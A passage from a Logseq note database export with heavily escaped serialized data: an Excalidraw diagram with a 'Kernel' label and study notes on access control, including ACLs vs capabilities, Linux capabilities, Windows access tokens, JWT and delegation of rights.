Y9\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.03666276150632129,\\logseq____&quot;gap\\logseq____&quot;:1.0000000000000568},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[109.98214285714278,-21],[115.21835295548442,-212.3214285714282]]},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;8ctK7mdhHb2DVqR1e_nXK\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;x\\logseq____&quot;:655.7738095238096,\\logseq____&quot;y\\logseq____&quot;:597.8253968253966,\\logseq____&quot;width\\logseq____&quot;:298.57142857142867,\\logseq____&quot;height\\logseq____&quot;:180.0000000000001,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;seed\\logseq____&quot;:279187236,\\logseq____&quot;version\\logseq____&quot;:117,\\logseq____&quot;versionNonce\\logseq____&quot;:182665764,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605860629,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;X37iYwlX9j5Ls6AXuEhCX\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;x\\logseq____&quot;:774.3452380952383,\\logseq____&quot;y\\logseq____&quot;:607.8253968253968,\\logseq____&quot;width\\logseq____&quot;:57.33995056152344,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;seed\\logseq____&quot;:1121397660,\\logseq____&quot;version\\logseq____&quot;:107,\\logseq____&quot;versionNonce\\logseq____&quot;:1508426396,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605887545,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Kernel\\logseq____&quot;,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;left\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;baseline\\logseq____&quot;:18,\\logseq____&quot;containerId\\logseq____&quot;:null,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Kernel\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25},{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;PqPMoaE0eDH2QYtnuaGt3\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;x\\logseq____&quot;:657.202380952381,\\logseq____&quot;y\\logseq____&quot;:602.111111111111,\\logseq____&quot;width\\logseq____&quot;:295.71428571428584,\\logseq____&quot;height\\logseq____&quot;:162.8571428571429,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;seed\\logseq____&quot;:1258811804,\\logseq____&quot;version\\logseq____&quot;:138,\\logseq____&quot;versionNonce\\logseq____&quot;:893757732,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605886024,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false}],\\logseq____&quot;files\\logseq____&quot;:{},\\logseq____&quot;appState\\logseq____&quot;:{\\logseq____&quot;gridSize\\logseq____&quot;:null,\\logseq____&quot;viewBackgroundColor\\logseq____&quot;:\\logseq____&quot;#ffffff\\logseq____&quot;,\\logseq____&quot;zoom\\logseq____&quot;:{\\logseq____&quot;value\\logseq____&quot;:0.7000000000000001},\\logseq____&quot;offsetTop\\logseq____&quot;:20,\\logseq____&quot;offsetLeft\\logseq____&quot;:0,\\logseq____&quot;scrollX\\logseq____&quot;:522.7976190476188,\\logseq____&quot;scrollY\\logseq____&quot;:262.17460317460325,\\logseq____&quot;viewModeEnabled\\logseq____&quot;:false,\\logseq____&quot;zenModeEnabled\\logseq____&quot;:false}}\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Flogseq____&quot;,326,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Xlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Vlogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^Ulogseq____&quot;,322,536870916]],[logseq____&quot;^15logseq____&quot;,[327,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9126-4e58-8aa1-0793fde86429logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[328,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1:logseq____&quot;,logseq____&quot;rendererlogseq____&quot;,logseq____&quot;^1;logseq____&quot;,[logseq____&quot;excalidraw-menulogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-59-19logseq____&quot;]],536870916]],[logseq____&quot;^15logseq____&quot;,[328,logseq____&quot;^Wlogseq____&quot;,logseq____&quot;macrologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[328,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;renderer excalidraw-menu excalidraw-2024-10-22-15-59-19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^Klogseq____&quot;,1740128172108,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-library-items-storagelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-library-items-storagelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:excalidraw-plugin-librarylogseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1@logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^Blogseq____&quot;,1740128172108,536870916]],[logseq____&quot;^15logseq____&quot;,[330,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-5dd5-402a-b1dd-693bd574023clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^Klogseq____&quot;,1740128172108,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-plugin-librarylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-plugin-librarylogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^Blogseq____&quot;,1740128172108,536870916]],[logseq____&quot;^15logseq____&quot;,[331,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8417-48f5-a52f-d80d5d331d31logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;excalidraw-plugin-library:: true\\n\\nlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^1=logseq____&quot;,[logseq____&quot;^1logseq____&gt;logseq____&quot;,[]],536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Flogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Xlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Vlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Ulogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Ulogseq____&quot;,331,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^:logseq____&quot;,true,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1@logseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^1@logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1@logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^Hlogseq____&quot;,331,536870916]],[logseq____&quot;^15logseq____&quot;,[332,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-15cf-4a29-82fe-2296cfcf0da4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Flogseq____&quot;,332,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Xlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Vlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^Ulogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[333,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6d87-4633-be97-33d50b7ab685logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```json\\n[]\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Flogseq____&quot;,333,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Xlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Vlogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^Ulogseq____&quot;,330,536870916]],[logseq____&quot;^15logseq____&quot;,[334,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8c09-4b57-9c77-5d2e02e6f689logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^Klogseq____&quot;,1740128172111,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;saarctf2024 aftermathlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^11logseq____&quot;,logseq____&quot;saarCTF2024 Aftermathlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^Blogseq____&quot;,1740128172111,536870916]],[logseq____&quot;^15logseq____&quot;,[336,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-60b2-4c29-9fef-acae50b7a685logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Flogseq____&quot;,336,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Xlogseq____&quot;,336,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Vlogseq____&quot;,336,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^Ulogseq____&quot;,336,536870916]],[logseq____&quot;^15logseq____&quot;,[337,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-49ab-4bde-ab83-0c5ca27ffacelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[338,logseq____&quot;^2logseq____&quot;,1,536870917]],[logseq____&quot;^15logseq____&quot;,[338,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;^2logseq____&quot;,536870917]],[logseq____&quot;^15logseq____&quot;,[339,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;^Rlogseq____&quot;,536870918]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^@logseq____&quot;,false,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Flogseq____&quot;,38,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Xlogseq____&quot;,38,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Vlogseq____&quot;,38,536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^Ulogseq____&quot;,38,536870922]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536870921]],[logseq____&quot;^15logseq____&quot;,[340,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8404b-9a67-49fc-b969-9ffd84a6af22logseq____&quot;,536870921]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Authority has to be wielded *explicitly* in an ideal capability systemlogseq____&quot;,536870957]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870927]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Flogseq____&quot;,44,536870927]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Xlogseq____&quot;,37,536870927]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Vlogseq____&quot;,60,536870927]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Ulogseq____&quot;,2,536871284]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Ulogseq____&quot;,37,536871284]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^Ulogseq____&quot;,38,536871284]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536870957]],[logseq____&quot;^15logseq____&quot;,[341,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b840a2-9d9e-4c21-bad4-69615fd6662blogseq____&quot;,536870927]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## ACL vs Capabilitieslogseq____&quot;,536870968]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870960]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Flogseq____&quot;,58,536870964]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Xlogseq____&quot;,37,536870960]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Vlogseq____&quot;,37,536870964]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Ulogseq____&quot;,37,536870965]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870968]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536870968]],[logseq____&quot;^15logseq____&quot;,[342,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84172-4dad-4336-aa2c-7af893f3bd47logseq____&quot;,536870960]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Ambiguous terms:logseq____&quot;,536871107]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870969]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Flogseq____&quot;,347,536871135]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Xlogseq____&quot;,37,536870969]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Vlogseq____&quot;,342,536870975]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Ulogseq____&quot;,37,536870970]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536871107]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536871107]],[logseq____&quot;^15logseq____&quot;,[343,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8417f-33ea-45a9-9583-4af220525523logseq____&quot;,536870969]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Linux capabilities (!= object capabilities): Privileges from super-user divided into distinct units (capabilities can be independently en-/disabled and are per-thread attributes)logseq____&quot;,536871047]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870981]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Flogseq____&quot;,343,536870981]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Xlogseq____&quot;,37,536870981]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Vlogseq____&quot;,343,536870983]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^Ulogseq____&quot;,37,536871136]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871047]],[logseq____&quot;^15logseq____&quot;,[344,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84186-3287-4c56-8a56-4772afb38eb3logseq____&quot;,536870981]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Windows access tokens: Security context of a process/thread (contains identity and privileges of the user account)logseq____&quot;,536871078]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871048]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Flogseq____&quot;,344,536871048]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Xlogseq____&quot;,37,536871048]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Vlogseq____&quot;,343,536871048]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^Ulogseq____&quot;,37,536871136]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871078]],[logseq____&quot;^15logseq____&quot;,[345,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84213-80a0-4d69-9737-0781cc871555logseq____&quot;,536871048]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;OAuth/JWT: authorization with signed token asserting claimslogseq____&quot;,536871114]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871081]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Flogseq____&quot;,345,536871081]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Xlogseq____&quot;,37,536871081]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Vlogseq____&quot;,343,536871081]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^Ulogseq____&quot;,37,536871136]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871114]],[logseq____&quot;^15logseq____&quot;,[346,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84243-d180-4ae6-be8e-b152205ec147logseq____&quot;,536871081]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Inheriting access rights: #card #security-architecturelogseq____&quot;,536871144]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871117]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Flogseq____&quot;,342,536871117]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Xlogseq____&quot;,37,536871117]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Vlogseq____&quot;,342,536871117]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Ulogseq____&quot;,2,536871145]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Ulogseq____&quot;,37,536871145]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Ulogseq____&quot;,38,536871145]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536871144]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536871144]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Hlogseq____&quot;,2,536871144]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^Hlogseq____&quot;,38,536871144]],[logseq____&quot;^15logseq____&quot;,[347,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84272-295e-42e3-8318-21c64442a1c6logseq____&quot;,536871117]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inheritance through *subject ID*, e.g., UIDlogseq____&quot;,536871242]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871133]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Flogseq____&quot;,50,536871210]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Xlogseq____&quot;,37,536871133]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Vlogseq____&quot;,57,536871210]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Ulogseq____&quot;,2,536871145]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Ulogseq____&quot;,37,536871145]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^Ulogseq____&quot;,38,536871145]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871242]],[logseq____&quot;^15logseq____&quot;,[348,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b84281-55b8-4b9e-8aeb-2e69f8d228fblogseq____&quot;,536871133]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inheritance through *delegation*, i.e., delegate capability tokenlogseq____&quot;,536871236]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871169]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Flogseq____&quot;,47,536871214]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Xlogseq____&quot;,37,536871169]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Vlogseq____&quot;,58,536871214]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Ulogseq____&quot;,2,536871170]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Ulogseq____&quot;,37,536871170]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^Ulogseq____&quot;,38,536871170]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871236]],[logseq____&quot;^15logseq____&quot;,[349,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b842b7-2cdb-4ff2-aafa-208e2fe93e8elogseq____&quot;,536871169]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Delegation is hard (alternative approach: let other process act under current user, e.g., `setuid`)logseq____&quot;,536871280]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536871245]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Flogseq____&quot;,348,536871245]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Xlogseq____&quot;,37,536871245]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Vlogseq____&quot;,57,536871245]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Ulogseq____&quot;,2,536871246]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Ulogseq____&quot;,37,536871246]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^Ulogseq____&quot;,38,536871246]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536871280]],[logseq____&quot;^15logseq____&quot;,[350,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b8434c-4424-441d-a0df-df8f8c266cb0logseq____&quot;,536871245]],[logseq____&quot;^15logseq____&quot;,[351,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Revocation is 